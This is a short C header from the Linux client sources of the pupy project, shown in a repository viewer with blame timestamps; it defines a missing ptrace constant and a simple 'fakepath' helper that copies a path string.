pupy/client/sources-linux/fixes.h

23 lines
381 B
C
Raw Normal View History

#ifndef ___FIXES_H
#define ___FIXES_H
2017-04-03 16:40:20 +00:00
#include <linux/limits.h>
#include <string.h>
#include <sys/ptrace.h>
#ifndef PTRACE_GETSIGINFO
#define PTRACE_GETSIGINFO 0x4202
#endif
2017-03-06 16:36:29 +00:00
static inline
2017-04-03 16:40:20 +00:00
char *fakepath(const char *path, char *resolved_path) {
if (resolved_path) {
strncpy(resolved_path, path, PATH_MAX);
return resolved_path;
} else {
return strdup(path);
}
2017-03-06 16:36:29 +00:00
}
#endif